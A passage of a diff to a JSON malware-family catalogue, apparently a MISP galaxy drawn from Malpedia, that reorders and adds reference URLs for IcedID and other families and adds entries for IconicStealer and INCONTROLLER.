"https://blog.group-ib.com/prometheus-tds", - "https://blog.reconinfosec.com/an-encounter-with-ta551-shathak", - "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.binarydefense.com/icedid-gziploader-analysis/", - "https://securityintelligence.com/icedid-banking-trojan-spruces-up-injection-tactics-to-add-stealth/", - "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html", - "https://isc.sans.edu/diary/28636", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - "https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/", - "https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf", - "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", - "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", - "https://github.com/telekom-security/icedid_analysis", - "https://www.uptycs.com/blog/icedid-campaign-spotted-being-spiced-with-excel-4-macros", - "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", - "https://www.youtube.com/watch?v=wObF9n2UIAM", - "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", - "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back", - "https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html", - "https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240", - "https://www.f5.com/labs/articles/threat-intelligence/icedid-banking-trojan-uses-covid-19-pandemic-to-lure-new-victims", - "https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/", - "https://www.socinvestigation.com/icedid-banking-trojan-returns-with-new-ttps-detection-response/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://nikpx.github.io/malware/analysis/2022/03/09/BokBot", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.youtube.com/watch?v=oZ4bwnjcXWg", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", - "https://www.youtube.com/watch?v=YEqLIR6hfOM", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.youtube.com/watch?v=wMXD4Sv1Alw", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://www.youtube.com/watch?v=7Dk7NkIbVqY", - "https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/", - "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/", - "https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://eln0ty.github.io/malware%20analysis/IcedID/", - "https://www.group-ib.com/blog/icedid", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", - "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", - "https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/", - "https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://ceriumnetworks.com/threat-of-the-month-icedid-malware/", - "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/", - "https://thedfirreport.com/2022/04/25/quantum-ransomware/", - "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", - "https://forensicitguy.github.io/analyzing-icedid-document/", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", + "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", + "https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion", + "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://drive.google.com/file/d/1jB0CsDvAADSrBeGxoi5gzyx8eQIiOJ2G/view", "https://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", + "https://isc.sans.edu/diary/29740", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", "https://github.com/f0wl/deICEr", - "https://cert.gov.ua/article/39609", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2", - "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", + "https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", + "https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/", + "https://eln0ty.github.io/malware%20analysis/IcedID/", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://blog.group-ib.com/prometheus-tds", + "https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/", "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", - "https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/", - "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", - "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", - "https://isc.sans.edu/diary/rss/28934", + "https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://github.com/telekom-security/icedid_analysis", + "https://research.loginsoft.com/threat-research/icedid-malware-traversing-through-its-various-incarnations/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://twitter.com/embee_research/status/1592067841154756610?s=20", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://isc.sans.edu/diary/Google+ads+lead+to+fake+software+pages+pushing+IcedID+Bokbot/29344", + "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", + "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", + "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", "https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/", + "https://malwation.com/icedid-malware-technical-analysis-report/", + "https://www.youtube.com/watch?v=YEqLIR6hfOM", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2", + "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", + "https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.binarydefense.com/icedid-gziploader-analysis/", + "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", + "https://blog.cyberint.com/icedid-stealer-man-in-the-browser-banking-trojan", + "https://intel471.com/blog/malvertising-surges-to-distribute-malware", + "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/", + "https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b", + "https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/", + "https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", + "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", + "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", + "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1", + "https://nikpx.github.io/malware/analysis/2022/03/09/BokBot", + "https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://forensicitguy.github.io/analyzing-icedid-document/", + "https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", + "https://www.group-ib.com/blog/icedid", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/", + "https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/", + "https://ceriumnetworks.com/threat-of-the-month-icedid-malware/", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://dshield.org/diary/Recent+IcedID+Bokbot+activity/29740/", + "https://cert.gov.ua/article/39609", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://twitter.com/embee_research/status/1592067841154756610?s=20&t=hEALPAWr1LIt9pXcVpxjRQ", + "https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id", + "https://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html", + "https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/", + "https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://securityintelligence.com/icedid-banking-trojan-spruces-up-injection-tactics-to-add-stealth/", + "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html", + "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.elastic.co/security-labs/icedids-network-infrastructure-is-alive-and-well", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes" + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", + "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/", + "https://www.youtube.com/watch?v=oZ4bwnjcXWg", + "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", + "https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/", + "https://twitter.com/Unit42_Intel/status/1645851799427874818", + "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", + "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary", + "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html", + "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", + "https://www.team-cymru.com/post/from-chile-with-malware", + "https://www.trendmicro.com/en_ie/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html", + "https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766", + "https://www.youtube.com/watch?v=7Dk7NkIbVqY", + "https://www.youtube.com/watch?v=wMXD4Sv1Alw", + "https://tccontre.blogspot.com/2021/01/", + "https://www.f5.com/labs/articles/threat-intelligence/icedid-banking-trojan-uses-covid-19-pandemic-to-lure-new-victims", + "https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://www.netresec.com/?page=Blog&month=2022-10&post=IcedID-BackConnect-Protocol", + "https://netresec.com/?b=214d7ff", + "https://www.netresec.com/?page=Blog&month=2023-02&post=How-to-Identify-IcedID-Network-Traffic", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://www.socinvestigation.com/icedid-banking-trojan-returns-with-new-ttps-detection-response/", + "https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html", + "https://www.uptycs.com/blog/icedid-campaign-spotted-being-spiced-with-excel-4-macros", + "https://isc.sans.edu/diary/28636", + "https://blog.reconinfosec.com/an-encounter-with-ta551-shathak", + "https://www.elastic.co/security-labs/unpacking-icedid", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", + "https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf", + "https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html", + "https://isc.sans.edu/diary/rss/28934", + "https://www.youtube.com/watch?v=wObF9n2UIAM", + "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", + "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", + "https://blog.minerva-labs.com/icedid-maas", + "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back" ], "synonyms": [ "BokBot", @@ -27071,9 +28630,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", - "https://threatray.com/blog/a-new-icedid-gziploader-variant/", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/" + "https://threatray.com/blog/a-new-icedid-gziploader-variant/" ], "synonyms": [], "type": [] @@ -27086,12 +28645,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", - "http://www.kz-cert.kz/page/502", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", + "http://www.kz-cert.kz/page/502", + "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko" ], "synonyms": [ "Fucobha" @@ -27119,10 +28678,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix", - "https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/", "https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus", - "https://securelist.com/ice-ix-not-cool-at-all/29111/" + "https://securelist.com/ice-ix-not-cool-at-all/29111/", + "https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/" ], "synonyms": [], "type": [] @@ -27143,6 +28702,23 @@ "uuid": "4f7ae3da-948c-4f74-8229-d5d7461f9c7d", "value": "IconDown" }, + { + "description": "Follow-up payload in 3CX supply chain incident, which according to Volexity is an infostealer collecting information about the system and browser using an embedded copy of the SQLite3 library.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack", + "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack", + "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/", + "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "24fed92f-7e8f-449f-857f-d409d3bf8b48", + "value": "IconicStealer" + }, { "description": "", "meta": { @@ -27175,10 +28751,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf" + "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/" ], "synonyms": [], "type": [] @@ -27206,8 +28782,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -27220,16 +28796,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", - "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", - "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", - "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/", + "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", + "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", "https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt" + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/" ], "synonyms": [], "type": [] @@ -27250,6 +28826,20 @@ "uuid": "5f688e85-5f33-4ae6-880a-fc2e5146dd28", "value": " Immortal Stealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.incontroller", + "https://www.mandiant.com/resources/blog/cyber-operations-russian-vulkan", + "https://twitter.com/silascutler/status/1514366443277766656" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3ed3e880-1b93-4ca2-9e9d-0e429c4c895f", + "value": "INCONTROLLER" + }, { "description": "Keylogger written in Visual Basic dating back to at least 